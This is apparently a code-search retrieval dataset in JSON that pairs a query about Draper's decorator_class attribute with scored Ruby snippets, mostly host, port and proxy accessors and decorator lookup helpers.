[ { "docid": "46bc943e89873e777cda325729c7aaf9", "score": "0.73043376", "text": "def set_host(v)\n @host = v\n end", "title": "" }, { "docid": "b5366e265173955fedec04b8097fda35", "score": "0.72905", "text": "def set_host(v)\n v = \"\" if v.nil? || v == \"localhost\"\n @host = v\n end", "title": "" }, { "docid": "2df7ba7a8d9f3a640c1a2ee8e289999a", "score": "0.6971742", "text": "def set_host host\n @host = host\n end", "title": "" }, { "docid": "f4db321388f46ec7dbed2b9e806dd7c3", "score": "0.68256885", "text": "def set_hostname\n @hostname = Hostname.find_by_name(params[:name])\n end", "title": "" }, { "docid": "c2b6b3a654b341c99b2b2879c4658ebd", "score": "0.6712176", "text": "def host=(value)\n @host = value\n end", "title": "" }, { "docid": "c2b6b3a654b341c99b2b2879c4658ebd", "score": "0.6712176", "text": "def host=(value)\n @host = value\n end", "title": "" }, { "docid": "1ef3b2a7fd9742f3f0d9fc324950c7a4", "score": "0.6635409", "text": "def host=(v)\n check_host(v)\n set_host(v)\n v\n end", "title": "" }, { "docid": "cd352462eda35cadb1cd3843c8898618", "score": "0.6572255", "text": "def host(s) self.host_value = s ; self end", "title": "" }, { "docid": "b024cc2cb1dc9b1cd00e165a194af7e9", "score": "0.6493678", "text": "def host=(h)\n @host = h\n end", "title": "" }, { "docid": "06f1a4c14f4995f713e74b1c38709503", "score": "0.6460381", "text": "def host=(new_host); end", "title": "" }, { "docid": "4906c50904c386e163ade29175e99bb2", "score": "0.64570445", "text": "def hostname=(v)\n v = \"[#{v}]\" if !(v&.start_with?('[') && v&.end_with?(']')) && v&.index(':')\n self.host = v\n end", "title": "" }, { "docid": "e47dde459798d82cafc2f2d4a1888e99", "score": "0.6373771", "text": "def host_with_port; end", "title": "" }, { "docid": "5cc3b32f0ae22ffa47d6c582f45c62a0", "score": "0.63494134", "text": "def bind(host, port = 0)\n @bind_host = host\n @bind_port = port\n end", "title": "" }, { "docid": "ddc9fc2a83b5e318b09ea3f68f50fec3", "score": "0.6341421", "text": "def update!(**args)\n @host = args[:host] if args.key?(:host)\n @port = args[:port] if args.key?(:port)\n end", "title": "" }, { "docid": "3baacecf4907afa4b7770dda383259e5", "score": "0.63150084", "text": "def set_port port\n @port = port\n end", "title": "" }, { "docid": "d5752fa211db256e17885e835ac9ddbc", "score": "0.62962395", "text": "def hostname(h)\n @config[:host] = h\n end", "title": "" }, { "docid": "c2ae48ea85b7f4cb1dce9ac3b73872aa", "score": "0.62733", "text": "def host=(value)\n conf['api']['host'] = value\n end", "title": "" }, { "docid": "d8549d83ece2fd0ae32e91ac192fca95", "score": "0.6269767", "text": "def initialize(host_name = 'localhost', port = 20000)\n @host_name = host_name\n @port = port\n end", "title": "" }, { "docid": "958fb13f19fd3331606dd0c08cc4ec15", "score": "0.6254348", "text": "def mongo_host=(h)\n @mongo_hosts = [h]\n end", "title": "" }, { "docid": "396633f7e402316b8be0ea7ef8bebd73", "score": "0.6239982", "text": "def host=(new_host)\n unless new_host =~ /^http(s)?:\\/\\//\n new_host = \"https://#{new_host}\"\n end\n @host = new_host\n end", "title": "" }, { "docid": "7290434e08c8411fc6ac4495591de3e9", "score": "0.62146103", "text": "def host=(h)\n attributes['host'] = h\n end", "title": "" }, { "docid": "d7cfd44f705d1d5a29d2eed5311b771a", "score": "0.6209852", "text": "def bind(host, port)\n @bind_host = host\n @bind_port = port\n end", "title": "" }, { "docid": "0859c519a9538137b3124354c35f9f93", "score": "0.6163444", "text": "def port_set(port)\n rebuild_uri :port => port\n end", "title": "" }, { "docid": "91213eb7eb6353c446012097d4474acb", "score": "0.61632174", "text": "def set_host\n @host = Host.find(params[:id])\n end", "title": "" }, { "docid": "91213eb7eb6353c446012097d4474acb", "score": "0.61632174", "text": "def set_host\n @host = Host.find(params[:id])\n end", "title": "" }, { "docid": "91213eb7eb6353c446012097d4474acb", "score": "0.61632174", "text": "def set_host\n @host = Host.find(params[:id])\n end", "title": "" }, { "docid": "91213eb7eb6353c446012097d4474acb", "score": "0.61632174", "text": "def set_host\n @host = Host.find(params[:id])\n end", "title": "" }, { "docid": "937080ab950b66e5195521b63efea698", "score": "0.6156019", "text": "def hostname=(value)\n @hostname = value\n end", "title": "" }, { "docid": "4f4748ed8c1637e170fc38c757f4aa64", "score": "0.61246264", "text": "def host_name=(value)\n @hostname = value\n end", "title": "" }, { "docid": "0c8d894087f028b0f19c73e80964efda", "score": "0.6123303", "text": "def host=(host)\n @hosts = nil\n @host = host\n end", "title": "" }, { "docid": "848a949c81b228e2f92d1d2b916f6497", "score": "0.6110876", "text": "def port=(port)\n set_default :port, port\n end", "title": "" }, { "docid": "786e6fa11ef6ec531e852ba175c9e3f5", "score": "0.60776675", "text": "def search_host\n begin\n if @host_search\n @host = Resolv.getname self.ip.to_s\n else\n @host = nil\n end\n rescue Resolv::ResolvError\n @host = nil\n end\n end", "title": "" }, { "docid": "d4a29f4228cc5e8b7712614ecb4e4cfb", "score": "0.6064546", "text": "def host=(_); end", "title": "" }, { "docid": "b2b42019ac0206504a69e50471f1282d", "score": "0.6056631", "text": "def host(new_host)\n unless host_valid? new_host\n raise Urb::InvalidUrl 'Try to set a invalid value to host'\n end\n\n @host = new_host\n\n self\n end", "title": "" }, { "docid": "b1215d046005847cb517a8c70e261524", "score": "0.6047634", "text": "def add_host(name, port = nil)\n raise \"Host '#{name}' already configured\" if hosts[name]\n hosts[name] = { port: port, databases: {} }\n @saved = false\n end", "title": "" }, { "docid": "faa588c761ab3e73c7d934e6d912c051", "score": "0.6045188", "text": "def host(value = nil)\n if value\n @host = value\n else\n @host ||= 'localhost'\n end\n end", "title": "" }, { "docid": "23af4df7c9406561187f4b7892a81175", "score": "0.60372794", "text": "def port=(_); end", "title": "" }, { "docid": "0fb6e79ecd915541d7d763929f00b0fc", "score": "0.60131377", "text": "def port(p)\n @config[:port] = p\n end", "title": "" }, { "docid": "f5c89cde45764cedd9b4fdd0d2ca2dd3", "score": "0.59907526", "text": "def host=(val)\n @j_del.setHost(val)\n self\n end", "title": "" }, { "docid": "f9c79900f8adbb0d1d84bffdeb719d0d", "score": "0.5980172", "text": "def host_set(host)\n rebuild_uri :host => host\n end", "title": "" }, { "docid": "70f0f9370047c8533ad41e5716aef4f9", "score": "0.5967731", "text": "def start(host, port); end", "title": "" }, { "docid": "2f96574ad641ccaaad110c8977856e03", "score": "0.59491247", "text": "def set_host\n @host = Host.find(params[:id])\n end", "title": "" }, { "docid": "258993646ad76afc014b6ba2afa5c272", "score": "0.5944136", "text": "def host(host)\n @api.host = host\n end", "title": "" }, { "docid": "a64a8f474b283b5aebc881fb6de1b017", "score": "0.59258866", "text": "def update!(**args)\n @port_name = args[:port_name] if args.key?(:port_name)\n @server_name = args[:server_name] if args.key?(:server_name)\n end", "title": "" }, { "docid": "2e76195665b1e2f4fc00d9ebb7306361", "score": "0.5916902", "text": "def set_host(host=nil)\n if host.class == String && !block_given?\n @j_del.java_method(:setHost, [Java::java.lang.String.java_class]).call(host)\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling set_host(host)\"\n end", "title": "" }, { "docid": "67faa68088e6c00653b6e3b40314a43e", "score": "0.5896465", "text": "def remote_port=(value)\n @remote_port = value\n end", "title": "" }, { "docid": "32d996926508da6ef89871e40161a905", "score": "0.58833355", "text": "def set_proxy(addr, port = T.unsafe(nil), user = T.unsafe(nil), pass = T.unsafe(nil)); end", "title": "" }, { "docid": "496d06d2b30c8b39cb9305950070847d", "score": "0.5881395", "text": "def port=(v)\n check_port(v)\n set_port(v)\n port\n end", "title": "" }, { "docid": "c350608422c822a71e6964691ee33e33", "score": "0.58742523", "text": "def configure_instance(node, i)\n node.vm.hostname = fqdn(i)\n network_ports node, i\nend", "title": "" }, { "docid": "c01777fc5711df9b55f943ba5462e726", "score": "0.5864139", "text": "def host=(host)\n @host = host || \"localhost\"\n $_redis_connection = nil\n end", "title": "" }, { "docid": "e77bd712ca2bb43ceac35eb02baaa71e", "score": "0.58595395", "text": "def port(port, host = T.unsafe(nil)); end", "title": "" }, { "docid": "2df2655e8e55dd4c9a8b02cc1cbeec41", "score": "0.58559555", "text": "def host=(value)\n conf['dashboard']['host'] = value\n end", "title": "" }, { "docid": "5f7aa22bc3e8ea6d1f1bfde372a8df67", "score": "0.5839399", "text": "def initialize(host, port)\n @host, @port = host, port\n end", "title": "" }, { "docid": "1f5c2f1ec1b69d1eeda1313a2a48f65c", "score": "0.5834065", "text": "def set_port(opts)\n opts = check_params(opts,[:ports])\n super(opts)\n end", "title": "" }, { "docid": "1f5c2f1ec1b69d1eeda1313a2a48f65c", "score": "0.5834065", "text": "def set_port(opts)\n opts = check_params(opts,[:ports])\n super(opts)\n end", "title": "" }, { "docid": "93da7714e0ae08f04bb6b40304865418", "score": "0.58172", "text": "def host=(_arg0); end", "title": "" }, { "docid": "93da7714e0ae08f04bb6b40304865418", "score": "0.58172", "text": "def host=(_arg0); end", "title": "" }, { "docid": "66470920bdf317a68811016354b224f3", "score": "0.58110785", "text": "def set_port\n\t\tself.port = 389 if self.port == 0\n\tend", "title": "" }, { "docid": "d315e588b022e533e4980697452026df", "score": "0.5808902", "text": "def host(n=nil)\n if n.nil? \n @host ||= dns_name\n else\n @host = n\n end\n end", "title": "" }, { "docid": "3bc1ce6ad7893b1ee8c94d2aa20e29d7", "score": "0.5808143", "text": "def set_hostname(opts = {})\n cmd = command_builder('hostname', opts)\n configure(cmd)\n end", "title": "" }, { "docid": "3bc1ce6ad7893b1ee8c94d2aa20e29d7", "score": "0.5808143", "text": "def set_hostname(opts = {})\n cmd = command_builder('hostname', opts)\n configure(cmd)\n end", "title": "" }, { "docid": "63c6b2920936a269fea6c3be95a18124", "score": "0.57971907", "text": "def port=(value)\n conf['api']['port'] = value.to_i\n end", "title": "" }, { "docid": "991858e6b77474b294d461220c595311", "score": "0.5788417", "text": "def host=(host)\n if host != @host\n @host = host\n @net_ldap = nil\n end\n end", "title": "" }, { "docid": "3d879ec1efb0a27dd0cda3e419ed7156", "score": "0.57746404", "text": "def initialize(host, port=69)\n self.host = IPSocket.getaddress(host)\n self.port = port\n end", "title": "" }, { "docid": "a01d1891b72df15ee4e4518e7d570dfd", "score": "0.5761591", "text": "def set_host_address\n @host_address = HostAddress.find(params[:id])\n end", "title": "" }, { "docid": "301322bee5626efcc263472cb93765da", "score": "0.5759727", "text": "def start(host = T.unsafe(nil), port = T.unsafe(nil)); end", "title": "" }, { "docid": "bac23cbc5d4a930e8a44d3536c9ddf85", "score": "0.5756542", "text": "def host_with_port\n [config.host, optional_port].compact.join(\":\")\n end", "title": "" }, { "docid": "af66daa43feef2a1350e19016a9c405a", "score": "0.57437265", "text": "def initialize(host: 'localhost', port: 9200)\n @host = host\n @port = port\n @port_s = port.to_s\n end", "title": "" }, { "docid": "bfb5a6a517e3644332cc9c6fe05b654a", "score": "0.574225", "text": "def userhost(n)\n @socket << \"USERHOST #{n}\"\n end", "title": "" }, { "docid": "a53bfb58bf81ae0ade003c9f65c04854", "score": "0.5742095", "text": "def change_host\n @parameters[:hosts] = @parameters[:hosts].sort_by { rand } if @parameters[:randomize]\n\n # Set first as master and send it to the end of array\n current_host = @parameters[:hosts].shift\n @parameters[:hosts] << current_host\n\n @ssl = current_host[:ssl]\n @host = current_host[:host]\n @port = current_host[:port] || Connection::default_port(@ssl)\n @login = current_host[:login] || \"\"\n @passcode = current_host[:passcode] || \"\"\n end", "title": "" }, { "docid": "4caf547effc8df76b7b50a635d1d9a86", "score": "0.57372713", "text": "def port(port)\n @options[:port] = port\n end", "title": "" }, { "docid": "1a40c5d87195f0018282feea4e2b4f83", "score": "0.5730488", "text": "def set_node_name!(n)\n n[:name] ||= \"#{n[:host]}:#{n[:port]}\"\n n\n end", "title": "" }, { "docid": "37cb328efee9fb8328ff72aaa649d393", "score": "0.5729567", "text": "def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end", "title": "" }, { "docid": "37cb328efee9fb8328ff72aaa649d393", "score": "0.5729567", "text": "def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end", "title": "" }, { "docid": "37cb328efee9fb8328ff72aaa649d393", "score": "0.5729567", "text": "def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end", "title": "" }, { "docid": "37cb328efee9fb8328ff72aaa649d393", "score": "0.5729567", "text": "def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end", "title": "" }, { "docid": "37cb328efee9fb8328ff72aaa649d393", "score": "0.5729567", "text": "def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end", "title": "" }, { "docid": "37cb328efee9fb8328ff72aaa649d393", "score": "0.5729567", "text": "def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end", "title": "" }, { "docid": "37cb328efee9fb8328ff72aaa649d393", "score": "0.5729567", "text": "def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end", "title": "" }, { "docid": "e3e25fe0cb784f05acaffb5d86c07fcd", "score": "0.57199734", "text": "def hostname=(name)\n if hostname != name\n rebuild_host_file(name, fqdn)\n ssh.exec! \"hostname #{name}\", sudo: true\n ssh.exec! \"echo #{name} > /etc/hostname\", sudo: true\n end\n end", "title": "" }, { "docid": "f88835cc4b35718bfda9f9eef996f166", "score": "0.5718297", "text": "def initialize(host = 'localhost', port = 3000)\n\t\t\t@host, @port = host, port\n\t\tend", "title": "" }, { "docid": "66269295f1d817e41732136651844a42", "score": "0.5711089", "text": "def host_id\n\t\t\t\"#{host}:#{port}\"\n\t\tend", "title": "" }, { "docid": "a9246d605cbaeb6a2c8b262867d2f889", "score": "0.570699", "text": "def port=(_arg0); end", "title": "" }, { "docid": "dfe3e91d0b372c805d35e535bbc48006", "score": "0.5697913", "text": "def initialize(ip=\"localhost\", port=P_EXT_PORT)\n @hostname = ip\n @port = port\n end", "title": "" }, { "docid": "762632f2c73b0c5f0c3f3666b09b59a2", "score": "0.5690212", "text": "def set_proxy(address, port, user = T.unsafe(nil), password = T.unsafe(nil)); end", "title": "" }, { "docid": "64f39105230a20723c3a9ba75aaefb56", "score": "0.56724817", "text": "def initialize(host, port = PORT)\n @host = host\n @port = port\n end", "title": "" }, { "docid": "d25b7d1b1282eeeddf2491fc37fa0b9b", "score": "0.56673497", "text": "def host=(host)\n @uri = host.is_a?(::URI) ? host : ::URI.parse(host)\n reset_http_client!\n @uri\n end", "title": "" }, { "docid": "8575a29c8ebab174a1ee9864d3a4c9db", "score": "0.5665529", "text": "def set_server_name; self.name = domain; end", "title": "" }, { "docid": "ae6b6d6c0677124d10db277f543ae65d", "score": "0.5663992", "text": "def set_proxy(host, port)\n #self.agent.set_proxy(host, port)\n end", "title": "" }, { "docid": "0a24fe85ff8e8c76fdde7d1e42f0279d", "score": "0.56570154", "text": "def set_tunnel_port(opts)\n opts = check_params(opts,[:ports])\n super(opts)\n end", "title": "" }, { "docid": "e4ab80416786a83e821bbc6cc0d9b870", "score": "0.56540877", "text": "def host_with_port\n uhost, uport = self.host, self.port\n if port != protocol.default_port\n \"#{uhost}:#{uport}\"\n else\n uhost\n end\n end", "title": "" }, { "docid": "ba8a3515f898ebc9cdd98587001e0a3f", "score": "0.5631058", "text": "def update!(**args)\n @host_name = args[:host_name] if args.key?(:host_name)\n @host_owner = args[:host_owner] if args.key?(:host_owner)\n end", "title": "" }, { "docid": "ba8a3515f898ebc9cdd98587001e0a3f", "score": "0.5631058", "text": "def update!(**args)\n @host_name = args[:host_name] if args.key?(:host_name)\n @host_owner = args[:host_owner] if args.key?(:host_owner)\n end", "title": "" }, { "docid": "df37724c2d7d517571b16bdf29aa29bb", "score": "0.56290287", "text": "def name=(new_name)\n rebuild_hosts_file(new_name, fqdn)\n ssh.exec! \"hostname #{new_name}\", sudo: true\n ssh.exec! \"echo #{new_name} > /etc/hostname\", sudo: true\n end", "title": "" }, { "docid": "2e17dc3bf66236cf8bc4e0e1d9a7b2de", "score": "0.5628914", "text": "def domain=(nd)\n self['SERVER_NAME'] = self['HTTP_HOST'] = nd\n end", "title": "" }, { "docid": "fd92bd971dc1bea294d9b65b42562ba4", "score": "0.56276035", "text": "def set_port(v)\n v = v.empty? ? nil : v.to_i unless !v || v.kind_of?(Integer)\n @port = v\n end", "title": "" }, { "docid": "a3b75a0ca4d2936de4f68e6b98775a11", "score": "0.5624062", "text": "def with_hostname(hostname)\n @hostname = hostname\n self\n end", "title": "" }, { "docid": "39ded16cdaf9f493c36650325e9ff9c6", "score": "0.5622349", "text": "def host(h = nil)\n if h\n @host = h\n else\n @host\n end\n end", "title": "" }, { "docid": "c0963037fe4a3709526b0930f1c7b263", "score": "0.56222683", "text": "def set_tcp(host, port)\n @host = host\n @port = port\n LibDrizzle.drizzle_con_set_tcp(@con_ptr, @host, @port)\n end", "title": "" }, { "docid": "eb9d89163ad46a9a7ba6a823012a073a", "score": "0.5619791", "text": "def raw_host_with_port; end", "title": "" } ]
ea956f05be908b02f41e4f91f0f4dbd9
Returns the value of attribute decorator_class. source://draper//lib/draper/factory.rb36
[ { "docid": "c4c0aebd2691d66fd9ad0712fd917722", "score": "0.71925026", "text": "def decorator_class; end", "title": "" } ]
[ { "docid": "ea2de5a89d3276d64ff2270ce65a0527", "score": "0.68424183", "text": "def decorator_class\n return Frenchy::ArrayDecorator if none?\n\n \"#{first.class.name}Decorator\".constantize\n end", "title": "" }, { "docid": "121147a2e87dfaf6832ed1ea95e9b9fa", "score": "0.6755664", "text": "def decorator_class\n (post_type.get_option('cama_post_decorator_class', 'CamaleonCms::PostDecorator') rescue 'CamaleonCms::PostDecorator').constantize\n end", "title": "" }, { "docid": "bcb026f4b6be48d872ca3b6f1665d3c1", "score": "0.6625474", "text": "def decorator_class(called_on = self)\n prefix = respond_to?(:model_name) ? model_name : name\n decorator_name = \"#{prefix}Decorator\"\n decorator_name_constant = decorator_name.safe_constantize\n return decorator_name_constant unless decorator_name_constant.nil?\n\n return superclass.decorator_class(called_on) if superclass.respond_to?(:decorator_class)\n\n raise Decoru::UninferrableDecoratorError, \"Could not infer a decorator for #{called_on.name}.\"\n end", "title": "" }, { "docid": "b8898fb151bed6812debac95ba4633bd", "score": "0.65851533", "text": "def type\n Pragma::Decorator::Type.overrides[decorated.class.name] ||\n underscore_klass(decorated.class.name)\n end", "title": "" }, { "docid": "1ab8aa1abd8f89e9eb14e3794fafe7b8", "score": "0.6110573", "text": "def decorated\n \"#{self.class}Decorator\".constantize.decorate(self)\n end", "title": "" }, { "docid": "1b7497ed7107f22c88ce2e8f134080ae", "score": "0.60174865", "text": "def decorator_for(model_class)\n return @@decorators[model_class] if @@decorators.key? model_class\n\n decorator_name = \"#{model_class.name}Decorator\"\n d = Object.const_get decorator_name, false\n unless Class === d\n d.send :include, Gifted::ViewHelpers\n @@decorators[model_class] = d\n else\n # Cache nil results\n @@decorators[model_class] = nil\n end\n rescue NameError\n # This handles ActiveRecord STI models which don't have a decorator class - looking up it's\n # base class.\n\n if model_class.respond_to?(:base_class) && (model_class.base_class != model_class)\n @@decorators[model_class] = decorator_for model_class.base_class\n else\n # Cache nil results\n @@decorators[model_class] = nil\n end\n end", "title": "" }, { "docid": "07a6c445acdf8ebd839e5c38a4ce072f", "score": "0.5949702", "text": "def class_name\n attribute 'class'\n end", "title": "" }, { "docid": "97d20ca379698400b7c1bf5f2e2428d8", "score": "0.58521837", "text": "def decorator_class\n CookbookDecorator\n end", "title": "" }, { "docid": "337edfd05b36cf61ecff8f5eb67a6540", "score": "0.5656065", "text": "def klass(type)\n # wonderful world of Ruby - get a class from its name\n Module.const_get(\"CX::CSV::Attribute::#{type.to_s.camel_case}\")\n end", "title": "" }, { "docid": "caa5710bce77ff838199c48a3f3a537a", "score": "0.56554365", "text": "def atk_class\n return data.atk_class\n end", "title": "" }, { "docid": "0b992397d2a1fc3f1b3caf68d6c601d5", "score": "0.5653746", "text": "def class_attributes\n attributes[:class]\n end", "title": "" }, { "docid": "e857339acd790b0014185f1519a63243", "score": "0.5652134", "text": "def decorated_with?(decorator_class); end", "title": "" }, { "docid": "e857339acd790b0014185f1519a63243", "score": "0.5652134", "text": "def decorated_with?(decorator_class); end", "title": "" }, { "docid": "6c726020fd1bcc0b0ebdf97ca1d7f098", "score": "0.5651728", "text": "def get_class\n Built::Class.get(@class_uid)\n end", "title": "" }, { "docid": "6e6b8a4c9f32c4933d3959b63312bf12", "score": "0.5647829", "text": "def klass\n reflection.klass\n end", "title": "" }, { "docid": "6e6b8a4c9f32c4933d3959b63312bf12", "score": "0.5647829", "text": "def klass\n reflection.klass\n end", "title": "" }, { "docid": "6e6b8a4c9f32c4933d3959b63312bf12", "score": "0.5647829", "text": "def klass\n reflection.klass\n end", "title": "" }, { "docid": "6e6b8a4c9f32c4933d3959b63312bf12", "score": "0.5647829", "text": "def klass\n reflection.klass\n end", "title": "" }, { "docid": "6e6b8a4c9f32c4933d3959b63312bf12", "score": "0.5647829", "text": "def klass\n reflection.klass\n end", "title": "" }, { "docid": "e54d03e5d996173f0b73c4e6f9fbf49a", "score": "0.564446", "text": "def klass\n reflection.klass\n end", "title": "" }, { "docid": "03442acaec8e1537cec04a1674299114", "score": "0.56233513", "text": "def get_resource_class name\n begin\n return \"#{name}Decorator\".constantize\n rescue\n return name.constantize\n end\n end", "title": "" }, { "docid": "1ee7826a26302c646c4a0f4d173ed84a", "score": "0.5610815", "text": "def klass\n @_klass ||= self.value.constantize\n end", "title": "" }, { "docid": "89882954fe07ef03c1a06b958cb08659", "score": "0.5603845", "text": "def get_attribute(name)\n get_class_attribute(name)\n end", "title": "" }, { "docid": "e564407aa14ae31984a5e386086a2b05", "score": "0.559989", "text": "def decorate\n self.class.decorator_class.new(self)\n end", "title": "" }, { "docid": "c7c5d98733b10c07dea5eb9779e36fbb", "score": "0.5586904", "text": "def decorator_class\n Documents::CategoryDecorator\n end", "title": "" }, { "docid": "5ec8ef1afda20ce2f84c05ecc3e0bcab", "score": "0.55763507", "text": "def model\n decorator.decorated\n end", "title": "" }, { "docid": "a157a20be11c953054c36cec014192c0", "score": "0.5570983", "text": "def inspect\n \"#<#{self.class.name} decorators=#{decorators.inspect}>\"\n end", "title": "" }, { "docid": "2cacc150f0719b5f02f8655c39e0cb06", "score": "0.55522984", "text": "def decorate\n decorator_class = \"#{self.class.name}Decorator\".constantize\n decorator_class.decorate(self)\n end", "title": "" }, { "docid": "9a8fef84925c7b17f8fc2f97d9f5a982", "score": "0.55439913", "text": "def get_class\n\t\tend", "title": "" }, { "docid": "6871c3a0b3cbafe067a21efdd5803d25", "score": "0.5538512", "text": "def parent_class\n return @builder.object.model.class.name if @builder.object.class.name.to_s =~ /decorator\\z/i\n @builder.object.class.name\n end", "title": "" }, { "docid": "6ee8b819b6701d53bf32dc21232e0ba1", "score": "0.55122066", "text": "def type\n type = decorated.class.name\n .gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2')\n .gsub(/([a-z\\d])([A-Z])/, '\\1_\\2')\n .downcase\n\n TYPE_OVERRIDES[type.to_sym] || type\n end", "title": "" }, { "docid": "7a53241e5abb38a98a4dceb1dd071f2c", "score": "0.54910594", "text": "def attribute_factory; end", "title": "" }, { "docid": "7a53241e5abb38a98a4dceb1dd071f2c", "score": "0.54910594", "text": "def attribute_factory; end", "title": "" }, { "docid": "7a53241e5abb38a98a4dceb1dd071f2c", "score": "0.54910594", "text": "def attribute_factory; end", "title": "" }, { "docid": "16d7232f9c905ace28f567d5bf258a00", "score": "0.5476784", "text": "def hash\n [self.class, decorators].hash\n end", "title": "" }, { "docid": "2870394e17368ef2c9d8bd76306cd923", "score": "0.5474607", "text": "def clazz\n Util.full_const_get(@class_name)\n end", "title": "" }, { "docid": "39d7954dcae95bcab82998134fa1a2f0", "score": "0.5445626", "text": "def security_class\n class_property ? class_property.ruby_value : nil\n end", "title": "" }, { "docid": "cdb56e573b0333061c00df69857cd7a1", "score": "0.54197943", "text": "def row_model_type\n decorator_class.model_type\n end", "title": "" }, { "docid": "301bd716a2652485f1d1595c5d8e21eb", "score": "0.54146874", "text": "def decorators\n # Note: can't use respond_to? because it's delegated...\n # So I also had to either rescue here or monkeypatch Object.\n # Decided to just rescue.\n (decorated.decorators rescue []) << decorator_class\n end", "title": "" }, { "docid": "0b72240d343fa4792410498125376b34", "score": "0.5408188", "text": "def get_class instance\n\t\tinstance.toString.split(\",\")[instance.numAttributes() - 1]\n\tend", "title": "" }, { "docid": "96834cfe17ef696feeb6d4bfdce6755b", "score": "0.5378079", "text": "def klass\n class_name = @attributes[:class_name]\n class_name ? class_name.constantize : name.to_s.classify.constantize\n end", "title": "" }, { "docid": "307766d7a8f94d1443fb258465606b5e", "score": "0.5375687", "text": "def ruby_class\n attributes[\"ruby_class\"]\n end", "title": "" }, { "docid": "a14b150ed70c50e7c55ed7062187a9b0", "score": "0.5367956", "text": "def gen_get_element_class obj_locator\n\tlocator_strategy = :css\n\tif(obj_locator[0]=='/')\n\t\tlocator_strategy = :xpath\n\tend\n\tgen_execute_script do\n\t\telement = find(locator_strategy,obj_locator)\n\t\treturn element[:class]\n\tend\nend", "title": "" }, { "docid": "4bbb48e9fb57fbc83e3ed28853f74119", "score": "0.5357681", "text": "def fact_class\n fact_class_name.constantize\n end", "title": "" }, { "docid": "6ff0a3ab082a54262f23dcbd89fdce01", "score": "0.53262335", "text": "def class\n __getobj__.class\n end", "title": "" }, { "docid": "6ff0a3ab082a54262f23dcbd89fdce01", "score": "0.53262335", "text": "def class\n __getobj__.class\n end", "title": "" }, { "docid": "b1130afce97d410d447868e3f154d909", "score": "0.53166574", "text": "def classObj ()\n @Class\n end", "title": "" }, { "docid": "21a7ecb43688431e7c8e53eb8c73e499", "score": "0.53143847", "text": "def device_class\n get_prop('deviceClass')\n # get_prop(:DeviceClass)\n end", "title": "" }, { "docid": "cfbde1651b7b3ed70cf9752f956b8122", "score": "0.5293262", "text": "def parseCamaClass\n self.gsub(\"Decorator\",\"\").gsub(\"CamaleonCms::\",\"\")\n end", "title": "" }, { "docid": "790c294e4b0f76c6465c54062bfb2f6a", "score": "0.5291575", "text": "def class\n klass\n end", "title": "" }, { "docid": "4ae6cd689ad2278504f928543829d5e0", "score": "0.5287013", "text": "def registered_accessor_for(clazz)\n return nil if clazz.name.nil? || clazz.name.empty?\n data_accessors[clazz.name.to_sym]\n end", "title": "" }, { "docid": "7f7ad43833c995944201db188912c814", "score": "0.5283997", "text": "def get_clazz\n return @m_clazz\n end", "title": "" }, { "docid": "e0c3143e12de50494b57886186de7f49", "score": "0.5271666", "text": "def class_value\n @pairs.fetch(\"class\", \"\")\n end", "title": "" }, { "docid": "d40b7e896d60f455d6e3533d91ab3d06", "score": "0.52469337", "text": "def attrclass(name)\n raise NotImplementedError, \"attrclass() - returns the (param) class of the parameter\"\n end", "title": "" }, { "docid": "b1aae279a01a6922c8d8177a1f2e53d6", "score": "0.52354157", "text": "def decorator_class\n Tr8n::Decorators::Html\n end", "title": "" }, { "docid": "310e81700bae2bdef9d0f475b7d7bc74", "score": "0.52337205", "text": "def get_class_attribute(name)\n class_attributes[name] || superclass_attributes(name)\n end", "title": "" }, { "docid": "564e07275908997856d7ce4f6656f5db", "score": "0.5230727", "text": "def cached_accessor_name; end", "title": "" }, { "docid": "564e07275908997856d7ce4f6656f5db", "score": "0.5230727", "text": "def cached_accessor_name; end", "title": "" }, { "docid": "bc940b943adb2abc7e8121005cb898f0", "score": "0.5226837", "text": "def class_name\n @class_name\n end", "title": "" }, { "docid": "5615cef5db5c55b6424e54bdd0c620b9", "score": "0.52192414", "text": "def attribute_factory\n V06::Attributes\n end", "title": "" }, { "docid": "9f0e92d06c3c8efda594fa82633248fe", "score": "0.52170134", "text": "def decorator?( name )\n\t\treturn self.decorators.key?( name.to_sym )\n\tend", "title": "" }, { "docid": "73d74de7e013ab9d82d174dca1284d23", "score": "0.5210803", "text": "def get_class\n @class ||= Class.new\n end", "title": "" }, { "docid": "29170fea285c983bfdcf6e02a30e43c6", "score": "0.52101153", "text": "def makeDecoratorDef(className, definedNameSet, definedStaticNameSet)\n mockVarname = @staticMemfunc ? Mockgen::Constants::VARNAME_CLASS_MOCK : Mockgen::Constants::VARNAME_INSTANCE_MOCK\n decl = @staticMemfunc ? \"static #{@decl}\" : @decl\n overrideStr = getOverrideStr(@decl)\n\n # One variable per function and switch all overloaded functions\n str = \"\"\n # This script cannot make switch variables for template classes\n # because this script does not know which types the classes are\n # specialized for.\n if definedStaticNameSet.kind_of?(Hash)\n # Switches to mock methods of the decorator need to be class instances\n # because test cases cannot access decorator instance variables.\n str += definedNameSet.key?(@funcName) ? \"\" : makeSwitchToMock(true)\n str += \" #{decl} #{overrideStr}{ if (#{mockVarname} && !#{@switchName}) { \"\n definedNameSet[@funcName] = @switchName\n definedStaticNameSet[@funcName] = @switchName\n else\n str += \" #{decl} #{overrideStr}{ if (#{mockVarname}) { \"\n end\n\n if (@returnVoid)\n str += \"#{mockVarname}->#{@funcName}(#{@argSet}); return; } \"\n str += \"#{className}::#{@funcName}(#{@argSet});\"\n else\n str += \"return #{mockVarname}->#{@funcName}(#{@argSet}); } \"\n str += \"return #{className}::#{@funcName}(#{@argSet});\"\n end\n\n str += \" }\\n\"\n str\n end", "title": "" }, { "docid": "3098b062ff58ec29cd63d9188e3ca1ee", "score": "0.520838", "text": "def clazz_name\n my_class.to_s\n end", "title": "" }, { "docid": "f26ef39c9544c374f1199b16d144f03e", "score": "0.52077407", "text": "def className\n getAttribute('class').to_s\n end", "title": "" }, { "docid": "daa10d7dee0d591fe65ffc6766045cbc", "score": "0.51951337", "text": "def klass\n @klass ||= metadata.klass\n end", 